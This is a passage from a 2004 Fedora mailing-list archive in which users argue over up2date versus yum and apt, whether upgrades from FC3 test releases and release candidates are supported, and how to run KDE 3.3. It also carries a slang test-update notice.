all important information. I'm guessing it's a threading problem - I don't know. A healthy bit of competition between yum and apt is always good, but I can't see a good reason for up2date any more - is there one? :) From shrek-m at gmx.de Thu Nov 11 21:29:57 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Thu, 11 Nov 2004 22:29:57 +0100 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> Message-ID: <4193D9D5.5040400@gmx.de> nodata wrote: >>Has the community given up on up2date? >> >> >A healthy bit of competition between yum and apt is always good, but I >can't see a good reason for up2date any more - is there one? :) > 1. up2date-nox 2. # grep "style\|dir" /etc/sysconfig/rhn/sources ### query for packages. It currently supports apt-rpm, yum, and "dir" repos. ### An apt style repo (the example is arjan's 2.6 kernel repo). ### A yum style repo. The format is: ### A local directory full of packages (a "dir" repo). For example: #dir my-favorite-rpms /var/spool/RPMS/ -- shrek-m From whooperhsd3 at earthlink.net Thu Nov 11 21:31:11 2004 From: whooperhsd3 at earthlink.net (William Hooper) Date: Thu, 11 Nov 2004 16:31:11 -0500 (EST) Subject: FC3 - Has the community given up on up2date? In-Reply-To: <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> Message-ID: <2774.12.29.16.103.1100208671.squirrel@whooper.org> nodata said: >> Has the community given up on up2date? >> > > I think so, yes. If not, why was yum developed? For the record, yum was developed prior to the announcement of the Fedora Project, not because of it. [snip] > A healthy bit of competition between yum and apt is always good, but I > can't see a good reason for up2date any more - is there one? :) It supports more metadata formats than both yum and apt put together. -- William Hooper From lux at diesel-research.com Thu Nov 11 21:33:04 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 14:33:04 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <4833.12.29.16.103.1100207344.squirrel@whooper.org> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <4833.12.29.16.103.1100207344.squirrel@whooper.org> Message-ID: <1100208784.4008.6.camel@localhost.localdomain> On Thu, 2004-11-11 at 16:09 -0500, William Hooper wrote: > > You are the one trying to make a distiction between "test" and "release > candidate". They are the same thing. > About 2 weeks ago people on the test list were making a distinction. Upgrades from test releases were out. Upgrades from release candidates were OK. Their distinction, not mine. > > Let me ask you this: if an upgrade from a test release or a release > > candidate aren't guaranteed, how can you guarantee that an upgrade from a > > previous final release will work ? > > Those are what get tested. Trying to see if one random group of testing > packages will update to another group of testing packages doesn't have > anything to do with upgrading from a known set of released packages to a > known set of release packages. How do you know what is on the previous release machine ? The user might or might not have done a bunch of upgrading since the install. > [snip] > > > > "It" has ? Or is there a bug in here somewhere that breaks things all > > on its own that has nothing to do with the fact that an upgrade is involved > > and the upgrade is just an excuse so that people don't give the issue some > > attention. > > The issue in this thread is a direct result of you trying to upgrade. End > of story. I'll bet you are wrong. First of all, I don't have an issue in this thread. Someone else did. I'll bet that 99% of all issues are there whether it is an upgrade or it is a fresh install. > > Let me tell you a little story: > [snip] > > My sound issue had absolutely NOTHING to do with the fact that an > > upgrade was involved. > > Look at the subject again. No one here is talking about sound. I used it as an example of how the upgrade card was played incorrectly. I went through all that work of doing a fresh install and it had NOTHING to do with the problem. > >> So the general rule of thumb is that it will probably work most of the > >> time, but you will likely need to spend a little time patching things up. > >> > > > > I don't understand what should need patching. All the files in a new > > install are installed via packages. All the files in an upgrade are > > installed from packages. As long as an install has the latest packages, > > they should be the same. If not, how can we trust the update process ? > > Files that are changed outside of the normal RPM process (a big example > are config files) aren't always over written. Additionally, some testing > packages might appear "newer" than release packages, so they aren't > upgraded. Your issue is most likely that you still have the wrong > fedora-release RPM. We checked that about an hour ago: $ rpm -q fedora-release fedora-release-3-8 $ rpm -ql fedora-release /etc/fedora-release /etc/issue /etc/issue.net /etc/redhat-release /etc/sysconfig/rhn /etc/sysconfig/rhn/sources /etc/yum.repos.d /etc/yum.repos.d/fedora-devel.repo /etc/yum.repos.d/fedora-updates-testing.repo /etc/yum.repos.d/fedora-updates.repo /etc/yum.repos.d/fedora.repo /usr/share/doc/HTML /usr/share/doc/HTML/css /usr/share/doc/HTML/css/content.css /usr/share/doc/HTML/css/docbook.css /usr/share/doc/HTML/css/layout.css /usr/share/doc/HTML/css/print.css /usr/share/doc/HTML/img /usr/share/doc/HTML/img/corner-bl.png /usr/share/doc/HTML/img/corner-br.png /usr/share/doc/HTML/img/corner-tl.png /usr/share/doc/HTML/img/corner-tr.png /usr/share/doc/HTML/img/header-download.png /usr/share/doc/HTML/img/header-faq.png /usr/share/doc/HTML/img/header-fedora_logo.png /usr/share/doc/HTML/img/header-projects.png /usr/share/doc/HTML/index.html /usr/share/doc/fedora-release-3 /usr/share/doc/fedora-release-3/GPL /usr/share/doc/fedora-release-3/README-Accessibility /usr/share/doc/fedora-release-3/README-x86-en /usr/share/doc/fedora-release-3/README-x86-en.html /usr/share/doc/fedora-release-3/RELEASE-NOTES-x86-en /usr/share/doc/fedora-release-3/RELEASE-NOTES-x86-en.html /usr/share/doc/fedora-release-3/RPM-GPG-KEY /usr/share/doc/fedora-release-3/RPM-GPG-KEY-beta /usr/share/doc/fedora-release-3/RPM-GPG-KEY-fedora /usr/share/doc/fedora-release-3/RPM-GPG-KEY-fedora-rawhide /usr/share/doc/fedora-release-3/RPM-GPG-KEY-fedora-test /usr/share/doc/fedora-release-3/RPM-GPG-KEY-rawhide /usr/share/doc/fedora-release-3/autorun-template /usr/share/doc/fedora-release-3/eula.txt /usr/share/eula/eula.en_US /usr/share/firstboot/modules/eula.py > Of course I'm guess here, because you are more > interesting in ranting on about upgrading than giving us the info to help > you. See other threads. > > -- > William Hooper > -- Kim Lux (Mr.) Diesel Research Inc From fedora at nodata.co.uk Thu Nov 11 21:39:05 2004 From: fedora at nodata.co.uk (nodata) Date: Thu, 11 Nov 2004 22:39:05 +0100 (CET) Subject: FC3 - Has the community given up on up2date? In-Reply-To: <2774.12.29.16.103.1100208671.squirrel@whooper.org> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> <2774.12.29.16.103.1100208671.squirrel@whooper.org> Message-ID: <59880.195.34.133.68.1100209145.squirrel@195.34.133.68> >> A healthy bit of competition between yum and apt is always good, but I >> can't see a good reason for up2date any more - is there one? :) > > It supports more metadata formats than both yum and apt put together. But don't we have a common metadata format coming soon? From lowen at pari.edu Thu Nov 11 21:39:22 2004 From: lowen at pari.edu (Lamar Owen) Date: Thu, 11 Nov 2004 16:39:22 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100194227.4069.2.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <1100193377.4376.16.camel@localhost.localdomain> <1100194227.4069.2.camel@localhost.localdomain> Message-ID: <200411111639.22956.lowen@pari.edu> On Thursday 11 November 2004 12:30, Kim Lux wrote: > Does it run KDE3.3 ??? No. I need KDE3.3 to run the latest kdevelop. I > am using it on a project and it is not an option to use something else. Run one of the RHEL3 workalikes such as WhiteBox or Scientific Linux, and point your yum (or apt in the case of Scientific Linux) at kde-redhat's apt/yum repository. An hour or so later (depending upon you bandwidth) you can have KDE 3.3 on a RHEL3-like system. Or, for that matter, buy real RHEL3 WS and do the same. Rinse and repeat as necessary. I have a couple of WhiteBox installations with KDE 3.3, and a couple of Scientific Linux installations running KDE 3.3. Both work, and work well. See www.whiteboxlinux.org for WhiteBox and www.scientificlinux.org for Scientific Linux. -- Lamar Owen Director of Information Technology Pisgah Astronomical Research Institute 1 PARI Drive Rosman, NC 28772 (828)862-5554 www.pari.edu From shrek-m at gmx.de Thu Nov 11 21:41:27 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Thu, 11 Nov 2004 22:41:27 +0100 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <2774.12.29.16.103.1100208671.squirrel@whooper.org> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> <2774.12.29.16.103.1100208671.squirrel@whooper.org> Message-ID: <4193DC87.2070104@gmx.de> William Hooper wrote: >nodata said: > > >>>Has the community given up on up2date? >>> >>I think so, yes. If not, why was yum developed? >> >> >For the record, yum was developed prior to the announcement of the Fedora >Project, not because of it. > > http://www.yellowdoglinux.com/ http://linux.duke.edu/projects/ Yum is a utility that can check for and automatically download and install updated RPM packages. Dependencies are obtained and downloaded automatically prompting the user as necessary. It can handle multiple repositories as well. http://linux.duke.edu/projects/yum/ *Yellow dog Updater, Modified* see 'man yum' -- shrek-m From pri.rhl3 at iadonisi.to Thu Nov 11 21:45:06 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Thu, 11 Nov 2004 16:45:06 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100206804.3807.8.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> Message-ID: <1100209506.24175.46.camel@va.local.linuxlobbyist.org> On Thu, 2004-11-11 at 14:00 -0700, Kim Lux wrote: [snip] > The last time someone made that statement, the line was "upgrades from > test releases are not supported." Now that we've got a bug issue in a > final release, the stance changes to "upgrades from test and release > candidates" are not supported. You seem insistent on asserting that there is a difference between test releases and release candidates, while I don't remember anyone from Red Hat indicating anything of the sort. At least with respect to upgrades from RCs to official releases, there is no difference. I haven't seen RCs even *defined*. If they are not defined, how can you expect *anything* to be any more guaranteed to work than test releases. So the stance has not changed at all. You've just insisted on a definition of test releases that I don't think whoever labels release candidates as such shares. If whoever decided on the label 'Release Candidate' cares to comment, then fine, we may be on a path to defining what a Release Candidate actually is. Until then, you can assume nothing. > Let me ask you this: if an upgrade from a test release or a release > candidate aren't guaranteed, how can you guarantee that an upgrade from > a previous final release will work ? See above. It all has to do an assumption you are making: that test releases and RCs are different. [mostly valid complaint about sound snipped] I won't argue with you about sound, since that is a change of topic anyhow. The problem at hand was yum repo files which are considered *config* files which do not always get updated, especially if they have been changed by the user (as that would be consider *bad* by most admins). But for the sake of argument, lets look at the four scenarios you presented: 1) FC2 final-> FC3Test3 = no sound 2) Clean FC3rc3 = no sound 3) FC3rc3 -> rc5 via yum when I finally got the repository = no sound. 4) FC3final = no sound. 1 - should have worked -- did you bugzilla? 2 - should have worked -- did you bugzilla (or update your bugzilla entry? 3 - no guarantees whatsoever ... the repo problem is no surprise and if you expect that to be fixed, you will be expecting for a long time 4 - should have worked, but only if you upgraded from FC2 or it was a clean install -- bugzilla? Show me where anyone has argued differently. If they did, you have every right to complain. What I have explained has been the (re-iterated many times) policy for as long as Red Hat has had beta/test/RC releases. It has not changed and likely won't. And I'll end it with a perfect example of what could easily have happened during *this* testing cycle from FC2 to FC3: rpm file conflicts. Through almost all test releases *and release candidates* file conflicts in rpm was turned off. It wasn't noticed until, I believe RC5 when the release notes were updated to reflect it. The subsequent flurry of protests triggered the rollback of the change to turn file conflicts back on. So it is entirely possible that some time between FC3RC1 and FC3 official, there may have been a package in rawhide that *overwrote* some file in some other rpm, but you never would have known. Subsequently upgrading via yum/rpm would not have caught that problem even when upgrading to the officially released rpm-4.3.2-21 and the officially released rpms of the packages in question (the one that overwrote the file from another package, and the one who's file got overwritten). But upgrading from FC2 *or* cleanly installing FC3 would not have exhibited the problem at all. Should that have happened? No. Is it what happens in real life? Yes. But the fact is that here is a perfect example of what can happen during a testing cycle that can cause possibly seriously unpredictable results when upgrading *from* test releases (note that I include RCs in my definition of test release until such time as whoever chose that label pipes in with what he defines it as). -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From pri.rhl3 at iadonisi.to Thu Nov 11 21:48:27 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Thu, 11 Nov 2004 16:48:27 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100208784.4008.6.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <4833.12.29.16.103.1100207344.squirrel@whooper.org> <1100208784.4008.6.camel@localhost.localdomain> Message-ID: <1100209707.24175.50.camel@va.local.linuxlobbyist.org> On Thu, 2004-11-11 at 14:33 -0700, Kim Lux wrote: > On Thu, 2004-11-11 at 16:09 -0500, William Hooper wrote: > > > > > You are the one trying to make a distiction between "test" and "release > > candidate". They are the same thing. > > > > About 2 weeks ago people on the test list were making a distinction. > Upgrades from test releases were out. Upgrades from release candidates > were OK. Their distinction, not mine. Who? Lemme at 'em. ;-) Seriously, though, you are the only I remember asserting this. And by the way, what do you mean 'OK'? Some people (including me) *might* have said that it *might* work, but I don't remember anyone saying that it was supported or was ever going to be supported. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From ksnider at flarn.com Thu Nov 11 21:55:35 2004 From: ksnider at flarn.com (Ken Snider) Date: Thu, 11 Nov 2004 16:55:35 -0500 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> Message-ID: <4193DFD7.7090400@flarn.com> nodata wrote: > I think so, yes. If not, why was yum developed? It was developed initially by another vendor, Yellow Dog Linux. It wasn't developed for Fedora. > Personally, I'm a apt person. I find it takes less time to do what I want > it to do: apt certainly starts faster, and the search facility is much > better, but yum does have that nice groupinstall option. And you are obviously not a person using multiarch, or you'd quickly find out where apt id deficient > Another advantage of apt is that it still works when you break your python > install.. That argument is a red herring. Are you more likely to break, for example, your python install than, say, the more-often-updated glibc install (which would break all package managers, really)? > up2date can't handle 404s, it just dies. up2date's gui will blank out all > important information. I'm guessing it's a threading problem - I don't > know. *shrug* I use the text version. However bugs are bugs - they need to be fixed, and I certainly wouldn't call the bugs described above the reason to jettison a whole app. > A healthy bit of competition between yum and apt is always good, but I > can't see a good reason for up2date any more - is there one? :) #1 reason our organization uses it? Support for more *types* of repositories than apt and yum combined, complete with cross-dependency checking for all. So, there's two big reasons right there, to answer your question. -- Ken Snider From ksnider at flarn.com Thu Nov 11 21:58:16 2004 From: ksnider at flarn.com (Ken Snider) Date: Thu, 11 Nov 2004 16:58:16 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100208784.4008.6.camel@localhost.localdomain> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <4833.12.29.16.103.1100207344.squirrel@whooper.org> <1100208784.4008.6.camel@localhost.localdomain> Message-ID: <4193E078.7000108@flarn.com> Kim Lux wrote: > How do you know what is on the previous release machine ? The user > might or might not have done a bunch of upgrading since the install. I daresay RH has a pretty good idea of what is on a release machine, since they're the ones that release errata for it. ;) Or are you referring to 3rd-party upgrades, which have never been supported anyway? -- Ken Snider From surak at casa.surak.eti.br Thu Nov 11 21:04:09 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Thu, 11 Nov 2004 19:04:09 -0200 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <4193DFD7.7090400@flarn.com> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> <4193DFD7.7090400@flarn.com> Message-ID: <1100207049.4069.30.camel@preview> Em Qui, 2004-11-11 ?s 19:55, Ken Snider escreveu: > That argument is a red herring. Are you more likely to break, for example, > your python install than, say, the more-often-updated glibc install (which > would break all package managers, really)? Yes!! It is more likely - It happened a dozen times with fedora 1 & 2. Never got a problem with glibc, altough. > > up2date can't handle 404s, it just dies. up2date's gui will blank out all > > important information. I'm guessing it's a threading problem - I don't > > know. > *shrug* I use the text version. However bugs are bugs - they need to be fixed, > and I certainly wouldn't call the bugs described above the reason to jettison > a whole app. Up2date takes forever on EVERY computer I tested. And forget about using anything on the same desktop. It looks like a bad multithreaded app. From pri.rhl3 at iadonisi.to Thu Nov 11 22:03:57 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Thu, 11 Nov 2004 17:03:57 -0500 Subject: Why don't you guys like synaptic? In-Reply-To: <1100209506.24175.46.camel@va.local.linuxlobbyist.org> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <1100209506.24175.46.camel@va.local.linuxlobbyist.org> Message-ID: <1100210637.24175.58.camel@va.local.linuxlobbyist.org> On Thu, 2004-11-11 at 16:45 -0500, Paul Iadonisi wrote: [snip] > Subsequently upgrading via yum/rpm would not have caught that problem > even when upgrading to the officially released rpm-4.3.2-21 and the > officially released rpms of the packages in question (the one that > overwrote the file from another package, and the one who's file got > overwritten). Sorry. Slight logic problem here. If there were new versions of the overwriting and the overwritten rpms then the problem would have been fixed by an upgrade. However, let's say only the overwriting package had an update from FC3RC5->FC3, but the overwritten package didn't (which is highly probable to fix the overwriting problem that happened due to file conflicts being turned off). Then you would be left with the overwritten package whose version didn't change from FC3RC5->FC3, because an upgrade would not upgrade that rpm (it's version didn't change, so why should it?). Also, I should clarify that when I (and others) say there is no difference between test releases and release candidates, that's probably a *little* strong. What I mean to say is that it is *only* a matter of degree. I.e.: the changes from RC->Official are likely smaller and less likely to cause problems on upgrade. But it still stands that upgrades from test(or RC) to Official should not be relied upon. That line isn't crossed until Official release time. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From douglas.furlong at firebox.com Thu Nov 11 22:05:27 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Thu, 11 Nov 2004 22:05:27 +0000 Subject: Why don't you guys like synaptic? In-Reply-To: <1100209506.24175.46.camel@va.local.linuxlobbyist.org> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <1100209506.24175.46.camel@va.local.linuxlobbyist.org> Message-ID: <4193E227.1070704@firebox.com> Paul Iadonisi wrote: >On Thu, 2004-11-11 at 14:00 -0700, Kim Lux wrote: > >[snip] > > > >>The last time someone made that statement, the line was "upgrades from >>test releases are not supported." Now that we've got a bug issue in a >>final release, the stance changes to "upgrades from test and release >>candidates" are not supported. >> >> > > You seem insistent on asserting that there is a difference between >test releases and release candidates, while I don't remember anyone from >Red Hat indicating anything of the sort. At least with respect to >upgrades from RCs to official releases, there is no difference. I >haven't seen RCs even *defined*. If they are not defined, how can you >expect *anything* to be any more guaranteed to work than test releases. > So the stance has not changed at all. You've just insisted on a >definition of test releases that I don't think whoever labels release >candidates as such shares. If whoever decided on the label 'Release >Candidate' cares to comment, then fine, we may be on a path to defining >what a Release Candidate actually is. Until then, you can assume >nothing. > > I got the impression that the release candidates were very unofficialy bundled by a very nice chap (sorry can't remember your name mate), and mirrored by another very nice chappy over at duke.edu. I got the impression that there were three things being "achieved" by the RC's. A) Some final trails of the kernel, I get the impression they were not compleately confident and really wanted it tested thouroughly. B) Test a new build/release system. C) Let us eager beavers see the new greatest and latest, with most bugs squashed. No comments were made on http://fedora.redhat.com/ about it, which to me makes it "unoficial". What I hate, is the apparent attitude of some that seems to "demand" things from a free, voluntear force. I use fedora at work, BUT I know what I am getting and the stability of it, I also made it 100% clear to the company that I work for, what they are getting and what support they can expect. Nothing is being hidden from us, and at no point have I ever seen that upgrading from any thing other then a "Final Release" would EVER be "supported". Doug From douglas.furlong at firebox.com Thu Nov 11 22:10:38 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Thu, 11 Nov 2004 22:10:38 +0000 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <1100207049.4069.30.camel@preview> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> <4193DFD7.7090400@flarn.com> <1100207049.4069.30.camel@preview> Message-ID: <4193E35E.1060308@firebox.com> Alexandre Strube wrote: >Em Qui, 2004-11-11 ?s 19:55, Ken Snider escreveu: > > > >>That argument is a red herring. Are you more likely to break, for example, >>your python install than, say, the more-often-updated glibc install (which >>would break all package managers, really)? >> >> > >Yes!! It is more likely - It happened a dozen times with fedora 1 & 2. >Never got a problem with glibc, altough. > > I remember lots of problems with rawhide and python breaking, but with all the updates I have done on 1 and 2, i don't remember ever having any majour problems upgrading the proper released from fedora, for either 1 or 2. I have over 20 desktops running Fedora, so I am fairly certain i would remember buggered upgrades like that... Now from rawhide, yes had loads of problems there, but then it's rawhide. Doug From havill at redhat.com Thu Nov 11 22:11:28 2004 From: havill at redhat.com (Adrian Havill) Date: Thu, 11 Nov 2004 17:11:28 -0500 Subject: Fedora Core 3 Test Update: slang-1.4.9-9 Message-ID: <4193E390.9060707@redhat.com> --------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-419 2004-11-11 --------------------------------------------------------------------- Product : Fedora Core 3 Name : slang Version : 1.4.9 Release : 9 Summary : The shared library for the S-Lang extension language. Description : S-Lang is an interpreted language and a programming library. The S-Lang language was designed so that it can be easily embedded into a program to provide the program with a powerful extension language. The S-Lang library, provided in this package, provides the S-Lang extension language. S-Lang's syntax resembles C, which makes it easy to recode S-Lang procedures in C if you need to. --------------------------------------------------------------------- Update Information: This release is intended to correct an off-by-one error in the horizontal line drawing routine. It should be ideally installed with the newest testing mc in the repository, which will have an old patch that compensated for this off-by-one error removed. Test version most likely to have an effect on UTF-8 CJK users. --------------------------------------------------------------------- * Thu Nov 04 2004 Adrian Havill 1.4.9-9 - re-sync old debian patch to latest 1.4.9 sources - consolidate rhat hacks, fix SLsmg_draw_hline() artifact (#138445) --------------------------------------------------------------------- This update can be downloaded from: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/ 228a8a67d2c47241a8e548d0bdc88781 SRPMS/slang-1.4.9-9.src.rpm a84780d3e24ea026fd0b119ef14d864f x86_64/slang-1.4.9-9.x86_64.rpm ed4fd862a3178c3b5f24a9e933006858 x86_64/slang-devel-1.4.9-9.x86_64.rpm 888c7bac82f138b556a646f6863e5689 x86_64/debug/slang-debuginfo-1.4.9-9.x86_64.rpm 4ff809435a020b36615f24a93de0060a x86_64/slang-1.4.9-9.i386.rpm 4ff809435a020b36615f24a93de0060a i386/slang-1.4.9-9.i386.rpm dde28804dd936cd3c9cc1104a367c2ff i386/slang-devel-1.4.9-9.i386.rpm aff9ba19fb5cebb721ac5489a4df9e6d i386/debug/slang-debuginfo-1.4.9-9.i386.rpm This update can also be installed with the Update Agent; you can launch the Update Agent with the 'up2date' command. You may need to edit your up2date channels configuration. Within /etc/sysconfig/rhn/sources enable the following line: yum updates-testing http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/$ARCH --------------------------------------------------------------------- From gene.heskett at verizon.net Thu Nov 11 22:22:22 2004 From: gene.heskett at verizon.net (Gene Heskett) Date: Thu, 11 Nov 2004 17:22:22 -0500 Subject: FC3 - Has the community given up on up2date? In-Reply-To: <4193DFD7.7090400@flarn.com> References: <1100204555.3555.4.camel@cei3772.empower.ceimaine.org> <58125.195.34.133.61.1100207884.squirrel@195.34.133.61> <4193DFD7.7090400@flarn.com> Message-ID: <200411111722.22134.gene.heskett@verizon.net> On Thursday 11 November 2004 16:55, Ken Snider wrote: >nodata wrote: >> I think so, yes. If not, why was yum developed? > >It was developed initially by another vendor, Yellow Dog Linux. It > wasn't developed for Fedora. > >> Personally, I'm a apt person. I find it takes less time to do what >> I want it to do: apt certainly starts faster, and the search >> facility is much better, but yum does have that nice groupinstall >> option. > >And you are obviously not a person using multiarch, or you'd quickly > find out where apt id deficient > >> Another advantage of apt is that it still works when you break >> your python install.. > >That argument is a red herring. Are you more likely to break, for > example, your python install than, say, the more-often-updated > glibc install (which would break all package managers, really)? > Thats an extremely off experience here statement . Yum has updated glibc once on this box that I know of. No problems caused by that. But every time it tries to put in a newer python libxml2, it breaks itself and half the rest of the system that uses python till I go back to the FC2 cd's and forceably reinstall the originals again. If the writers of libxml2 cannot make a new version backwards compatible, I would much prefer it be left the hell alone until all the stuff that depends on it have also been updated to be compatible. I've had a severely crippled machine for 3 of the 6 months I've been running FC2. And questions sent here as to why have, with one or two exceptions, been met with the usual phone support lets take it by the numbers order of troubleshooting that degenerates into a 'Gee, thats never happened here' quote, and I'm left hanging. Once I figured out that if I put the CD's versions back in, I've been able to fix it everytime yum fubars it. But I eventually got tired of that and now thats in the exclude list in my yum.conf. >> up2date can't handle 404s, it just dies. up2date's gui will blank >> out all important information. I'm guessing it's a threading >> problem - I don't know. > >*shrug* I use the text version. However bugs are bugs - they need to > be fixed, and I certainly wouldn't call the bugs described above > the reason to jettison a whole app. > >> A healthy bit of competition between yum and apt is always good, >> but I can't see a good reason for up2date any more - is there one? >> :) I haven't figured it out, it hasn't worked here since I put in FC2 over RH8. Yum, with the libxml2 exceptions, has worked quite well here. >#1 reason our organization uses it? Support for more *types* of > repositories than apt and yum combined, complete with > cross-dependency checking for all. > >So, there's two big reasons right there, to answer your question. > >-- >Ken Snider -- Cheers, Gene "There are four boxes to be used in defense of liberty: soap, ballot, jury, and ammo. Please use in that order." -Ed Howdershelt (Author) 99.28% setiathome rank, not too shabby for a WV hillbilly Yahoo.com attorneys please note, additions to this message by Gene Heskett are: Copyright 2004 by Maurice Eugene Heskett, all rights reserved. From lux at diesel-research.com Thu Nov 11 22:39:14 2004 From: lux at diesel-research.com (Kim Lux) Date: Thu, 11 Nov 2004 15:39:14 -0700 Subject: Why don't you guys like synaptic? In-Reply-To: <1100209506.24175.46.camel@va.local.linuxlobbyist.org> References: <419385DA.4080105@ku.edu> <1100187829.4454.29.camel@localhost.localdomain> <4348.12.29.16.103.1100190751.squirrel@whooper.org> <1100191782.4055.5.camel@localhost.localdomain> <1100191684.3094.38.camel@binkley> <1100192446.4055.17.camel@localhost.localdomain> <1100192462.3094.41.camel@binkley> <1100194157.10404.28.camel@wombat.tiptoe.de> <1100194571.4069.9.camel@localhost.localdomain> <1102.12.29.16.103.1100201712.squirrel@whooper.org> <1100203474.4213.6.camel@localhost.localdomain> <1100205420.24175.17.camel@va.local.linuxlobbyist.org> <1100206804.3807.8.camel@localhost.localdomain> <1100209506.24175.46.camel@va.local.linuxlobbyist.org> Message-ID: <1100212754.9321.14.camel@localhost.localdomain> On Thu, 2004-11-11 at 16:45 -0500, Paul Iadonisi wrote: > 1) FC2 final-> FC3Test3 = no sound > 2) 